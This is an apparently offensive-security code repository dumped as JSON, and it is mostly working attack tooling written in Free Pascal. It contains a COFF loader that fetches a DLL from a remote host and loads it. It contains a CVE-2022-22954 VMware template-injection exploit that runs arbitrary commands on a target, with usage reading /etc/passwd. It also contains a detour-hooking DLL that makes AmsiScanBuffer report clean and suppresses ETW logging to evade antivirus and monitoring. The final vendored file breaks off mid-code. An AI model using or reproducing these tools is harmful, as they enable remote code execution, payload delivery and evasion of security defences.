[
  {
    "path": "COFF_Loader/README.md",
    "content": "\n## Offsec Pascal \n\nThe first ported COFF loader into Pascal Language, it is easier now with the DLL release from sliverarmy fork to integrate Object files with out rewrite the \nwhole COFF Loader. \n\n## what i have did new? \n\n* the version ported from the following nim project () \n* make sure to host the COFFLoader.x64.dll into your remote host \n* the loader can fetch the remote dll and then load it. \n\n\n## usage \n\n* host your compiled DLL into your remote host, i have attached DLL copied from Lazy-nim github repo,\nyou can get yours from the following repo https://github.com/sliverarmory/COFFLoader/\n* execute the loader \n\n```\nproject.exe -o whoami.o -u http://REMOTE/DLLNAME \n\n```\n\n## Thanks\n\n* https://github.com/sliverarmory/COFFLoader/\n* https://github.com/zimnyaa/nim-lazy-bof/tree/main \n* https://github.com/trustedsec/COFFLoader\n\n"
  },
  {
    "path": "COFF_Loader/project1.lpi",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<CONFIG>\r\n  <ProjectOptions>\r\n    <Version Value=\"12\"/>\r\n    <PathDelim Value=\"\\\"/>\r\n    <General>\r\n      <Flags>\r\n        <MainUnitHasCreateFormStatements Value=\"False\"/>\r\n        <MainUnitHasTitleStatement Value=\"False\"/>\r\n        <MainUnitHasScaledStatement Value=\"False\"/>\r\n      </Flags>\r\n      <SessionStorage Value=\"InProjectDir\"/>\r\n      <Title Value=\"project1\"/>\r\n      <UseAppBundle Value=\"False\"/>\r\n      <ResourceType Value=\"res\"/>\r\n    </General>\r\n    <BuildModes>\r\n      <Item Name=\"Default\" Default=\"True\"/>\r\n    </BuildModes>\r\n    <PublishOptions>\r\n      <Version Value=\"2\"/>\r\n      <UseFileFilters Value=\"True\"/>\r\n    </PublishOptions>\r\n    <RunParams>\r\n      <FormatVersion Value=\"2\"/>\r\n    </RunParams>\r\n    <Units>\r\n      <Unit>\r\n        <Filename Value=\"project1.lpr\"/>\r\n        <IsPartOfProject Value=\"True\"/>\r\n      </Unit>\r\n    </Units>\r\n  </ProjectOptions>\r\n  <CompilerOptions>\r\n    <Version Value=\"11\"/>\r\n    <PathDelim Value=\"\\\"/>\r\n    <Target>\r\n      <Filename Value=\"project1\"/>\r\n    </Target>\r\n    <SearchPaths>\r\n      <IncludeFiles Value=\"$(ProjOutDir)\"/>\r\n      <UnitOutputDirectory Value=\"lib\\$(TargetCPU)-$(TargetOS)\"/>\r\n    </SearchPaths>\r\n    <CodeGeneration>\r\n      <TargetCPU Value=\"x86_64\"/>\r\n    </CodeGeneration>\r\n  </CompilerOptions>\r\n  <Debugging>\r\n    <Exceptions>\r\n      <Item>\r\n        <Name Value=\"EAbort\"/>\r\n      </Item>\r\n      <Item>\r\n        <Name Value=\"ECodetoolError\"/>\r\n      </Item>\r\n      <Item>\r\n        <Name Value=\"EFOpenError\"/>\r\n      </Item>\r\n    </Exceptions>\r\n  </Debugging>\r\n</CONFIG>\r\n"
  },
  {
    "path": "COFF_Loader/project1.lpr",
    "content": "{\r\n\r\n  ^^^^^^^\r\n  SIMPLE COFF LOADER IN PASCAL\r\n  ^^^^^^^\r\n\r\n\r\n Author : Lawrence @zux0x3a  - Part of Offensive Pascal Lang\r\n\r\n https://0xsp.com\r\n\r\n\r\n\r\n Ported from : https://github.com/zimnyaa/nim-lazy-bof/tree/main\r\n\r\n Huge thanks to : https://github.com/sliverarmory/COFFLoader/ for the DLL release.\r\n\r\n\r\n\r\n}\r\n\r\n\r\n\r\nprogram project1;\r\n\r\n//{$mode objfpc}{$H+}\r\n {$mode Delphi}\r\n\r\nuses\r\n  dynlibs,\r\n  sysutils,\r\n  classes,\r\n  windows,\r\n  winInet,\r\n  ctypes;\r\n\r\ntype\r\n  WCHAR = WideChar;\r\n  LPVOID = Pointer;\r\n  cstring = PChar;\r\n\r\nconst\r\n  MAX_PATH = 260;\r\n  MEM_COMMIT = $1000;\r\n  PAGE_READWRITE = $04;\r\n\r\n\r\n\r\nvar\r\n  entrypoint_arg: array[0..10] of byte =\r\n    ($FF, $FF, $FF, $FF, $03, $00, $00, $00, $67, $6F, $00); // len(c\"go\"), c\"go\"\r\n  coff_arg: array[0..3] of byte = ($00, $00, $00, $00);\r\n\r\n Coff_file : Tfilestream;\r\n\r\ntype\r\n  TCallback = function(data: PChar; status: Integer): Integer; cdecl;\r\n\r\n//function loadcoff(data: Pointer; length: Integer; callback: TCallback): Integer; cdecl; external coffloader name 'LoadAndRun';\r\n\r\ntype\r\n  TLoadCoffFunc = function(data: Pointer; length: Integer; callback: TCallback): Integer; stdcall;\r\n\r\nvar\r\n\r\nloadcoff : TloadCoffFunc;\r\n\r\n\r\n// convert the widestring to string .\r\n\r\n\r\nfunction lpwstrc(bytes: array of WCHAR): string;\r\nvar\r\n  i: integer;\r\nbegin\r\n  SetLength(Result, Length(bytes));\r\n  for i := 0 to Length(bytes) - 1 do\r\n    Result[i+1] := Char(bytes[i]);\r\nend;\r\n\r\nfunction callback(data: cstring; status: integer): integer; cdecl;\r\nbegin\r\n  WriteLn('[!] CALLBACK CALLED');\r\n  WriteLn(data);\r\n  Result := 0;\r\nend;\r\n\r\n\r\n\r\nfunction GetWebPage(const Url: string): string;\r\nvar\r\n  NetHandle: HINTERNET;\r\n  UrlHandle: HINTERNET;\r\n  Buffer: array[0..1023] of Byte;\r\n  BytesRead: dWord;\r\n  StrBuffer: String;\r\nbegin\r\n  Result := '';\r\n  BytesRead := Default(dWord);\r\n  NetHandle := InternetOpen('Mozilla/5.0(compatible; WinInet)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);\r\n\r\n  // NetHandle valid?\r\n  if Assigned(NetHandle) then\r\n    Try\r\n      UrlHandle := InternetOpenUrl(NetHandle, Pchar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);\r\n\r\n      // UrlHandle valid?\r\n      if Assigned(UrlHandle) then\r\n        Try\r\n          repeat\r\n            InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);\r\n            SetString(StrBuffer, PAnsiChar(@Buffer[0]), BytesRead);\r\n            Result := Result +strBuffer;\r\n          until BytesRead = 0;\r\n        Finally\r\n          InternetCloseHandle(UrlHandle);\r\n        end\r\n      // o/w UrlHandle invalid\r\n      else\r\n        writeln('Cannot open URL: ' + Url);\r\n    Finally\r\n      InternetCloseHandle(NetHandle);\r\n    end\r\n  // NetHandle invalid\r\n  else\r\n    raise Exception.Create('Unable to initialize WinInet');\r\nend;\r\n\r\n\r\n\r\n// main procedure to load COFF files you can refer to the following repo :\r\n\r\n\r\nprocedure Main;\r\nvar\r\n\r\n  loader_args: LPVOID;\r\n  coffsize: integer;\r\n  i : integer;\r\n  file_name : string;\r\n  l_Handle,MD: Tlibhandle;\r\n  lName,R_URL : string;\r\n  AMemStr : TMemoryStream;\r\n  isokay : boolean;\r\n\r\n\r\nbegin\r\n\r\n  isokay := false;\r\n  for i := 0 to paramcount do begin\r\n    if (paramstr(i)='-o') then\r\n    begin\r\n    file_name := paramstr(i+1);\r\n    end;\r\n\r\n    if (paramStr(i) ='-u') then begin\r\n    R_URL := paramstr(i+1);\r\n    end;\r\n  end;\r\n\r\n  if not FileExists(getcurrentdir+'\\APP.dll') then begin\r\n  lName := Getwebpage(R_URL);\r\n  isokay := true;\r\n\r\n  end;\r\n\r\n\r\n\r\n\r\n  AMemStr := TStringStream.Create;\r\n  AmemStr.Write(lName[1],length(lName) * sizeof(lName[1]));\r\n\r\n  if isokay then begin\r\n  AMemStr.SaveToFile(getcurrentdir+'\\APP.dll');\r\n  end;\r\n\r\n  sleep(1000);\r\n\r\n\r\n  l_handle := LoadLibrary('APP.dll');\r\n  loadcoff := TloadCoffFunc(GetProcAddress(l_handle,'LoadAndRun'));\r\n\r\n\r\n\r\n  try\r\n  coff_file := TFileStream.Create(file_name, fmOpenRead or fmShareDenyWrite);\r\n  try\r\n\r\n    WriteLn('[+] Starting with ', GetLastError());\r\n    WriteLn('[+] Load coff address -> ', PtrUInt(@loadcoff));\r\n\r\n    WriteLn('[+] callback function address -> ', PtrUInt(@callback));\r\n    loader_args := VirtualAlloc(nil, 4 + coff_file.Size + Length(entrypoint_arg) + Length(coff_arg), MEM_COMMIT, PAGE_READWRITE);\r\n\r\n    WriteLn('[!] VirtualAlloc Address ', GetLastError(), ' to ', PtrUInt(loader_args));\r\n\r\n\r\n    // \"go\" entrypoint\r\n    Move(entrypoint_arg[0], loader_args^, Length(entrypoint_arg));\r\n\r\n    // file size\r\n    coffsize := coff_file.Size;\r\n    Move(coffsize, (loader_args + Length(entrypoint_arg))^, 4);\r\n\r\n    // file bytes\r\n    coff_file.Position := 0;\r\n    coff_file.ReadBuffer((loader_args + Length(entrypoint_arg) + 4)^, coff_file.Size);\r\n\r\n    // args\r\n    Move(coff_arg[0], (loader_args + Length(entrypoint_arg) + coff_file.Size + 4)^, Length(coff_arg));\r\n\r\n    WriteLn('[!] memory copied');\r\n    WriteLn('[!] args will be: (', PtrUInt(loader_args), ',', PtrUInt(coff_file.Size+Length(entrypoint_arg)+Length(coff_arg)+4), ',', PtrUInt(@callback), ')');\r\n\r\n\r\n    // Loading the COFF object file\r\n\r\n    loadcoff(loader_args, coff_file.Size+Length(entrypoint_arg)+Length(coff_arg)+4, @callback);\r\n\r\n\r\n     finally\r\n     coff_file.Free;\r\n\r\n        end;\r\n        except\r\n      on E: exception do\r\n       writeln('[!] choose a vaild file to proceed');\r\n      end;\r\n\r\n  end;\r\n\r\n\r\nbegin\r\n\r\n  // Program execution\r\n\r\n  Main;\r\n\r\n\r\nend.\r\n\r\n"
  },
  {
    "path": "CVE-2022-22954/exploit.lpi",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"11\"/>\n    <General>\n      <Flags>\n        <MainUnitHasCreateFormStatements Value=\"False\"/>\n        <MainUnitHasScaledStatement Value=\"False\"/>\n      </Flags>\n      <SessionStorage Value=\"InProjectDir\"/>\n      <MainUnit Value=\"0\"/>\n      <Title Value=\"CVE-2022-22954\"/>\n      <UseAppBundle Value=\"False\"/>\n      <ResourceType Value=\"res\"/>\n    </General>\n    <LazDoc Paths=\"libpascurl/source\"/>\n    <BuildModes Count=\"3\">\n      <Item1 Name=\"Default\" Default=\"True\"/>\n      <Item2 Name=\"Debug\">\n        <CompilerOptions>\n          <Version Value=\"11\"/>\n          <Target>\n            <Filename Value=\"exploit\"/>\n          </Target>\n          <SearchPaths>\n            <IncludeFiles Value=\"$(ProjOutDir)\"/>\n            <UnitOutputDirectory Value=\"lib/$(TargetCPU)-$(TargetOS)\"/>\n          </SearchPaths>\n          <Parsing>\n            <SyntaxOptions>\n              <IncludeAssertionCode Value=\"True\"/>\n            </SyntaxOptions>\n          </Parsing>\n          <CodeGeneration>\n            <Checks>\n              <IOChecks Value=\"True\"/>\n              <RangeChecks Value=\"True\"/>\n              <OverflowChecks Value=\"True\"/>\n              <StackChecks Value=\"True\"/>\n            </Checks>\n            <VerifyObjMethodCallValidity Value=\"True\"/>\n          </CodeGeneration>\n          <Linking>\n            <Debugging>\n              <DebugInfoType Value=\"dsDwarf2Set\"/>\n              <UseHeaptrc Value=\"True\"/>\n              <TrashVariables Value=\"True\"/>\n              <UseExternalDbgSyms Value=\"True\"/>\n            </Debugging>\n          </Linking>\n        </CompilerOptions>\n      </Item2>\n      <Item3 Name=\"Release\">\n        <CompilerOptions>\n          <Version Value=\"11\"/>\n          <Target>\n            <Filename Value=\"exploit\"/>\n          </Target>\n          <SearchPaths>\n            <IncludeFiles Value=\"$(ProjOutDir)\"/>\n            <UnitOutputDirectory Value=\"lib/$(TargetCPU)-$(TargetOS)\"/>\n          </SearchPaths>\n          <CodeGeneration>\n            <SmartLinkUnit Value=\"True\"/>\n            <Optimizations>\n              <OptimizationLevel Value=\"3\"/>\n            </Optimizations>\n          </CodeGeneration>\n          <Linking>\n            <Debugging>\n              <GenerateDebugInfo Value=\"False\"/>\n            </Debugging>\n            <LinkSmart Value=\"True\"/>\n          </Linking>\n        </CompilerOptions>\n      </Item3>\n    </BuildModes>\n    <PublishOptions>\n      <Version Value=\"2\"/>\n      <UseFileFilters Value=\"True\"/>\n    </PublishOptions>\n    <RunParams>\n      <FormatVersion Value=\"2\"/>\n      <Modes Count=\"0\"/>\n    </RunParams>\n    <Units Count=\"1\">\n      <Unit0>\n        <Filename Value=\"exploit.lpr\"/>\n        <IsPartOfProject Value=\"True\"/>\n      </Unit0>\n    </Units>\n  </ProjectOptions>\n  <CompilerOptions>\n    <Version Value=\"11\"/>\n    <Target>\n      <Filename Value=\"exploit\"/>\n    </Target>\n    <SearchPaths>\n      <IncludeFiles Value=\"$(ProjOutDir)\"/>\n      <UnitOutputDirectory Value=\"lib/$(TargetCPU)-$(TargetOS)\"/>\n    </SearchPaths>\n  </CompilerOptions>\n  <Debugging>\n    <Exceptions Count=\"3\">\n      <Item1>\n        <Name Value=\"EAbort\"/>\n      </Item1>\n      <Item2>\n        <Name Value=\"ECodetoolError\"/>\n      </Item2>\n      <Item3>\n        <Name Value=\"EFOpenError\"/>\n      </Item3>\n    </Exceptions>\n  </Debugging>\n</CONFIG>\n"
  },
  {
    "path": "CVE-2022-22954/exploit.lpr",
    "content": "{\n\nthe original PoC has been shared by the following\n\nhttps://github.com/sherlocksecurity/VMware-CVE-2022-22954\nhttps://twitter.com/HackerGautam/status/1513605802493644800\n\n}\n\n\n\nprogram exploit;\n\n{$mode objfpc}{$H+}\n\nuses\n  {$IFDEF UNIX}{$IFDEF UseCThreads}\n  cthreads,\n  {$ENDIF}{$ENDIF}\n  Classes, SysUtils,openssl,\n  opensslsockets,CustApp, libcurl\n  { you can add units after this };\n\n\n\n\n\ntype\n\n  { TCVE }\n\n  TCVE = class(TCustomApplication)\n  protected\n    procedure DoRun; override;\n  public\n    constructor Create(TheOwner: TComponent); override;\n    destructor Destroy; override;\n    procedure stager; virtual;\n    procedure WriteHelp; virtual;\n  end;\n\n\n\n{ TCVE }\n\nprocedure TCVE.DoRun;\nvar\n  ErrorMsg: String;\nbegin\n  // quick check parameters\n  ErrorMsg:=CheckOptions('h i c ', 'help');\n  if ErrorMsg<>'' then begin\n    ShowException(Exception.Create(ErrorMsg));\n    Terminate;\n    Exit;\n  end;\n\n  // parse parameters\n  if HasOption('h', 'help') then begin\n    WriteHelp;\n    Terminate;\n    Exit;\n  end;\n\n  { add your program here }\n   stager;\n  // stop program loop\n  Terminate;\nend;\n\nconstructor TCVE.Create(TheOwner: TComponent);\nbegin\n  inherited Create(TheOwner);\n  StopOnException:=True;\nend;\n\ndestructor TCVE.Destroy;\nbegin\n  inherited Destroy;\nend;\n\n\n function EncodeUrl(url: string): string;\nvar\n  x: integer;\n  sBuff: string;\nconst\n  SafeMask = ['A'..'Z', '0'..'9', 'a'..'z', '*', '@', '.', '_', '-'];\nbegin\n  //Init\n  sBuff := '';\n\n  for x := 1 to Length(url) do\n  begin\n    //Check if we have a safe char\n    if url[x] in SafeMask then\n    begin\n      //Append all other chars\n      sBuff := sBuff + url[x];\n    end\n    else if url[x] = ' ' then\n    begin\n      //Append space\n      sBuff := sBuff + '+';\n    end\n    else\n    begin\n      //Convert to hex\n      sBuff := sBuff + '%' + IntToHex(Ord(url[x]), 2);\n    end;\n  end;\n\n  Result := sBuff;\nend;\n\n\nfunction WriteData(Ptr: PChar; MemberSize, MemberCount: UIntPtr; var Data:\nstring): UIntPtr; cdecl;\nvar\n  S: string;\nbegin\n  SetString(S, Ptr, MemberSize * MemberCount);\n  Data := Data + S;\n  Result := MemberSize * MemberCount;\nend;\n\nfunction CurlGet(const Url: string; out Data: string; UserAgent: string =\n''): Boolean;\nvar\n  Curl: PCURL;\nbegin\n  Data := '';\n  Result := False;\n  if Url = '' then\n    Exit;\n  Curl := curl_easy_init();\n  if Curl = nil then\n    Exit;\n  try\n    curl_easy_setopt(curl, CURLOPT_URL, [PChar(Url)]);\n    if UserAgent <> '' then\n      curl_easy_setopt(curl, CURLOPT_USERAGENT, [PChar(UserAgent)]);\n    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, [@WriteData]);\n    curl_easy_setopt(curl, CURLOPT_WRITEDATA, [@Data]);\n    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, [0]);\n    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, [0]);\n    Result := curl_easy_perform(curl) = CURLE_OK;\n  finally\n    curl_easy_cleanup(Curl);\n  end;\nend;\n\n\nprocedure banner;\n var\n   s : string;\nbegin\n   s:= '[!] Coded by @zux0x3a '#10+'[+] 0xsp SRD '+#10+'[!] https://0xsp.com '+#10;\n\n   writeln(s);\nend;\n\n\nprocedure TCVE.stager;\nvar\n  host,command,msg: string;\n\n  payload,end_point,ending,final: string;\n\nbegin\n\n\n\n  banner;\n\n host := getoptionvalue('i');\n command := getoptionvalue('c');\n if length(host) > 0 then  begin\n\n  end_point := '/catalog-portal/ui/oauth/verify?error=&deviceUdid=';\n  ending := '%22)%7D';\n  payload := '$%7B%22freemarker.template.utility.Execute%22?new()(%22';\n  final := encodeurl(command);\n\n CurlGet(host+end_point+payload+final+ending,msg,'Mozilla/5.0 (compatible; fpweb)')\nend else\n writeln('[+] choose valid host e.g https://host');\n\n // write the content of payload\n writeln(msg);\n\nend;\n\nprocedure TCVE.WriteHelp;\nbegin\n  { add your help code here }\n  writeln('Usage: ', ExeName, ' -h');\nend;\n\nvar\n  Application: TCVE;\nbegin\n  Application:=TCVE.Create(nil);\n  Application.Title:='CVE-2022-22954';\n  Application.Run;\n  Application.Free;\nend.\n\n"
  },
  {
    "path": "CVE-2022-22954/release/file.txt",
    "content": "\n"
  },
  {
    "path": "CVE-2022-22954/usage.md",
    "content": "\n## usage \n\nchmod +x exploit\n./exploit -i https://localhost -c \"cat /etc/passwd\"\n\n\n\n\n"
  },
  {
    "path": "Detour Hooking/AmsiHook.lpi",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<CONFIG>\r\n  <ProjectOptions>\r\n    <Version Value=\"12\"/>\r\n    <PathDelim Value=\"\\\"/>\r\n    <General>\r\n      <Flags>\r\n        <MainUnitHasCreateFormStatements Value=\"False\"/>\r\n        <MainUnitHasTitleStatement Value=\"False\"/>\r\n        <MainUnitHasScaledStatement Value=\"False\"/>\r\n      </Flags>\r\n      <SessionStorage Value=\"InProjectDir\"/>\r\n      <Title Value=\"AmsiHook\"/>\r\n      <UseAppBundle Value=\"False\"/>\r\n      <ResourceType Value=\"res\"/>\r\n    </General>\r\n    <BuildModes>\r\n      <Item Name=\"Default\" Default=\"True\"/>\r\n      <Item Name=\"Debug\">\r\n        <CompilerOptions>\r\n          <Version Value=\"11\"/>\r\n          <PathDelim Value=\"\\\"/>\r\n          <Target>\r\n            <Filename Value=\"AmsiHook\"/>\r\n          </Target>\r\n          <SearchPaths>\r\n            <IncludeFiles Value=\"$(ProjOutDir)\"/>\r\n            <OtherUnitFiles Value=\"Source\"/>\r\n            <UnitOutputDirectory Value=\"lib\\$(TargetCPU)-$(TargetOS)\"/>\r\n          </SearchPaths>\r\n          <Parsing>\r\n            <SyntaxOptions>\r\n              <IncludeAssertionCode Value=\"True\"/>\r\n            </SyntaxOptions>\r\n          </Parsing>\r\n          <CodeGeneration>\r\n            <RelocatableUnit Value=\"True\"/>\r\n            <Checks>\r\n              <IOChecks Value=\"True\"/>\r\n              <RangeChecks Value=\"True\"/>\r\n              <OverflowChecks Value=\"True\"/>\r\n              <StackChecks Value=\"True\"/>\r\n            </Checks>\r\n            <VerifyObjMethodCallValidity Value=\"True\"/>\r\n          </CodeGeneration>\r\n          <Linking>\r\n            <Debugging>\r\n              <DebugInfoType Value=\"dsDwarf3\"/>\r\n              <UseHeaptrc Value=\"True\"/>\r\n              <TrashVariables Value=\"True\"/>\r\n              <UseExternalDbgSyms Value=\"True\"/>\r\n            </Debugging>\r\n            <Options>\r\n              <ExecutableType Value=\"Library\"/>\r\n            </Options>\r\n          </Linking>\r\n        </CompilerOptions>\r\n      </Item>\r\n      <Item Name=\"Release\">\r\n        <CompilerOptions>\r\n          <Version Value=\"11\"/>\r\n          <PathDelim Value=\"\\\"/>\r\n          <Target>\r\n            <Filename Value=\"AmsiHook\"/>\r\n          </Target>\r\n          <SearchPaths>\r\n            <IncludeFiles Value=\"$(ProjOutDir)\"/>\r\n            <OtherUnitFiles Value=\"Source\"/>\r\n            <UnitOutputDirectory Value=\"lib\\$(TargetCPU)-$(TargetOS)\"/>\r\n          </SearchPaths>\r\n          <CodeGeneration>\r\n            <SmartLinkUnit Value=\"True\"/>\r\n            <RelocatableUnit Value=\"True\"/>\r\n            <Optimizations>\r\n              <OptimizationLevel Value=\"3\"/>\r\n            </Optimizations>\r\n            <SmallerCode Value=\"True\"/>\r\n          </CodeGeneration>\r\n          <Linking>\r\n            <Debugging>\r\n              <GenerateDebugInfo Value=\"False\"/>\r\n            </Debugging>\r\n            <LinkSmart Value=\"True\"/>\r\n            <Options>\r\n              <ExecutableType Value=\"Library\"/>\r\n            </Options>\r\n          </Linking>\r\n        </CompilerOptions>\r\n      </Item>\r\n    </BuildModes>\r\n    <PublishOptions>\r\n      <Version Value=\"2\"/>\r\n      <UseFileFilters Value=\"True\"/>\r\n    </PublishOptions>\r\n    <RunParams>\r\n      <FormatVersion Value=\"2\"/>\r\n    </RunParams>\r\n    <Units>\r\n      <Unit>\r\n        <Filename Value=\"AmsiHook.lpr\"/>\r\n        <IsPartOfProject Value=\"True\"/>\r\n      </Unit>\r\n      <Unit>\r\n        <Filename Value=\"Source\\DDetours.pas\"/>\r\n        <IsPartOfProject Value=\"True\"/>\r\n      </Unit>\r\n    </Units>\r\n  </ProjectOptions>\r\n  <CompilerOptions>\r\n    <Version Value=\"11\"/>\r\n    <PathDelim Value=\"\\\"/>\r\n    <Target>\r\n      <Filename Value=\"AmsiHook\"/>\r\n    </Target>\r\n    <SearchPaths>\r\n      <IncludeFiles Value=\"$(ProjOutDir)\"/>\r\n      <OtherUnitFiles Value=\"Source\"/>\r\n      <UnitOutputDirectory Value=\"lib\\$(TargetCPU)-$(TargetOS)\"/>\r\n    </SearchPaths>\r\n    <CodeGeneration>\r\n      <RelocatableUnit Value=\"True\"/>\r\n    </CodeGeneration>\r\n    <Linking>\r\n      <Options>\r\n        <ExecutableType Value=\"Library\"/>\r\n      </Options>\r\n    </Linking>\r\n  </CompilerOptions>\r\n  <Debugging>\r\n    <Exceptions>\r\n      <Item>\r\n        <Name Value=\"EAbort\"/>\r\n      </Item>\r\n      <Item>\r\n        <Name Value=\"ECodetoolError\"/>\r\n      </Item>\r\n      <Item>\r\n        <Name Value=\"EFOpenError\"/>\r\n      </Item>\r\n    </Exceptions>\r\n  </Debugging>\r\n</CONFIG>\r\n"
  },
  {
    "path": "Detour Hooking/AmsiHook.lpr",
    "content": "\r\n{\r\n\r\n     ** Title : Bypass AMSI / ETW patching using Detour Hooking\r\n     ** Author : @zux0x3a / 0xsp.com\r\n\r\n     The following tool considered as part of offensive pascal project and published to highlight the\r\n     capabilities of Free Pascal Language for malware and offensive security tooling development.\r\n\r\n\r\n\r\n  NOTICE:\r\n  This Tool is intended for educational and research purposes.Misuse of this tool for malicious intent or\r\n  illegal activities is strongly discouraged and disclaimed.Users are expected to comply with all applicable laws and regulations.\r\n\r\n\r\n\r\n}\r\n\r\n\r\nlibrary AmsiHook;\r\n\r\n{$mode delphi}\r\n\r\nuses\r\n  Classes,windows,DDetours;\r\n\r\n  type\r\n  EVENT_DESCRIPTOR = record\r\n    Id : USHORT;\r\n    Version: UCHAR;\r\n    Channel : UCHAR;\r\n    Level : UCHAR;\r\n    Opcode : UCHAR;\r\n    Task : USHORT;\r\n    Keyword : ULONGLONG;\r\n    end;\r\n\r\ntype\r\n    EVENT_TRACE_HEADER = record\r\n    Size : USHORT;\r\n    HeaderType : UCHAR;\r\n    Flags : UCHAR;\r\n    EventProperty: UCHAR;\r\n    ThreadId : ULONG;\r\n    ProcessId : ULONG;\r\n    TimeStamp : LARGE_INTEGER;\r\n    KernelTime : ULONG;\r\n    UserTime : ULONG;\r\n    ProvderId : GUID;\r\n    EventDescriptor : EVENT_DESCRIPTOR;\r\n    end;\r\n\r\n  PCEVENT_TRACE_HEADER = ^EVENT_TRACE_HEADER;\r\n  PCEVENT_DESCRIPTOR = ^EVENT_DESCRIPTOR;\r\n\r\n\r\n\r\n\r\n\r\n\r\ntype\r\n HAMSICONTEXT = Pointer;\r\n HAMSISESSION = Pointer;\r\n AMSI_RESULT = Longword;\r\n\r\ntype\r\n  TOriginalAmsiScanBuffer = function(\r\n    amsiContext: HAMSICONTEXT;\r\n    buffer: PVOID;\r\n    length: ULONG;\r\n    contentName: LPCWSTR;\r\n    amsiSession: HAMSISESSION;\r\n    var result: AMSI_RESULT\r\n  ): HRESULT; stdcall;\r\n\r\n\r\ntype\r\n    TEventWrite = function(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG):ULONG; stdcall;\r\n\r\n\r\n\r\ntype\r\n\r\n  TEventWriteTransfer = function(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG; EventGuid: PCEVENT_DESCRIPTOR; TransferContext:Pointer):ULONG; stdcall;\r\n\r\n\r\n\r\n\r\nvar\r\n  OriginalAmsiScanBuffer: TOriginalAmsiScanBuffer;\r\n  OriginalEventWrite : TEventWrite = nil;\r\n  OriginalEventTransfer : TEventWriteTransfer = nil;\r\n\r\n\r\n\r\nfunction InterceptEventWrite(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG):ULONG; stdcall;\r\nbegin\r\n\r\n  Writeln('[+] ETW Hooked !');  // enable it for debugging only\r\n  Result := $80000000;\r\nend;\r\n\r\nfunction InterceptEventTransfer(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG; EventGuid: PCEVENT_DESCRIPTOR; TransferContext:Pointer):ULONG; stdcall;\r\nbegin\r\nResult := $80000000;\r\nend;\r\n\r\nfunction _AmsiScanBuffer(\r\n  amsiContext: HAMSICONTEXT;\r\n  buffer: PVOID;\r\n  length: ULONG;\r\n  contentName: LPCWSTR;\r\n  amsiSession: HAMSISESSION;\r\n  var Scanresult: AMSI_RESULT\r\n): HRESULT; stdcall;\r\nbegin\r\n  Writeln('[+] AmsiScanBuffer Hooked !');    // enable it for debugging purposes only\r\n  Scanresult := $00000000   // we are clean :)\r\nend;\r\n\r\nprocedure AmsiScanBuffer;\r\nbegin\r\n  @OriginalAmsiScanBuffer := GetProcAddress(GetModuleHandle('amsi.dll'), 'AmsiScanBuffer');\r\n  if @OriginalAmsiScanBuffer <> nil then\r\n    InterceptCreate(@OriginalAmsiScanBuffer, @_AmsiScanBuffer,nil, []);\r\nend;\r\n\r\n\r\nprocedure ETWHook;\r\nbegin\r\n\r\n  @OriginalEventWrite := GetProcAddress(GetModuleHandle('advapi32.dll'), 'EventWrite');\r\n  @OriginalEventTransfer := GetProcAddress(GetModuleHandle('advapi32.dll'), 'EventWriteTransfer');\r\n\r\n   InterceptCreate(@OriginalEventWrite,@interceptEventwrite,nil, []);\r\n   InterceptCreate(@OriginalEventTransfer,@interceptEventTransfer,nil,[])\r\nend;\r\n\r\n\r\n//exports\r\n//  AmsiScanBuffer;     // no need\r\n\r\nbegin\r\n  AmsiScanBuffer;\r\n  ETWHook;\r\nend.\r\n\r\n"
  },
  {
    "path": "Detour Hooking/Source/CPUID.pas",
    "content": "// **************************************************************************************************\n// CPUID for Delphi.\n// Unit CPUID\n// https://github.com/MahdiSafsafi/DDetours\n//\n// This Source Code Form is subject to the terms of the Mozilla \n// Public License, v. 2.0. If a copy of the MPL was not distributed \n// with this file, You can obtain one at\n// https://mozilla.org/MPL/2.0/.\n// **************************************************************************************************\n\nunit CPUID;\n{$IFDEF FPC}\n{$MODE DELPHI}\n{$WARN 4055 OFF}\n{$WARN 4082 OFF}\n{$WARN 5057 OFF}\n{$ENDIF FPC}\n\ninterface\n\n{$I DDetoursDefs.inc}\n\nuses\n  SysUtils\n{$IFNDEF FPC}, LegacyTypes{$ENDIF FPC}\n    ;\n\ntype\n  { Do not change registers order ! }\n  TCPUIDStruct = packed record\n    rEAX: Cardinal; { EAX Register }\n    rEBX: Cardinal; { EBX Register }\n    rEDX: Cardinal; { EDX Register }\n    rECX: Cardinal; { ECX Register }\n  end;\n\n  PCPUIDStruct = ^TCPUIDStruct;\n\nprocedure CallCPUID(ID: NativeUInt; var CPUIDStruct: TCPUIDStruct);\nfunction IsCPUIDSupported(): Boolean;\n\ntype\n  TCPUVendor = (vUnknown, vIntel, vAMD, vNextGen);\n  TCPUEncoding = set of (REX, VEX, EVEX);\n  TCPUInstructions = set of (iMultiNop);\n\nvar\n  CPUVendor: TCPUVendor;\n  CPUEncoding: TCPUEncoding;\n  CPUInsts: TCPUInstructions;\n\nimplementation\n\nvar\n  CPUIDSupported: Boolean = False;\n\nfunction ___IsCPUIDSupported: Boolean;\nasm\n  {$IFDEF CPUX64}\n  PUSH RCX\n  MOV RCX,RCX\n  PUSHFQ\n  POP RAX\n  MOV RCX, RAX\n  XOR RAX, $200000\n  PUSH RAX\n  POPFQ\n  PUSHFQ\n  POP RAX\n  XOR RAX, RCX\n  SHR RAX, 21\n  AND RAX, 1\n  PUSH RCX\n  POPFQ\n  POP RCX\n  {$ELSE !CPUX64}\n\n  PUSH ECX\n  PUSHFD\n  POP EAX { EAX = EFLAGS }\n  MOV ECX, EAX  { Save the original EFLAGS value . }\n  {\n  CPUID is supported only if we can modify\n  bit 21 of EFLAGS register !\n   }\n  XOR EAX, $200000\n  PUSH EAX\n  POPFD { Set the new EFLAGS value 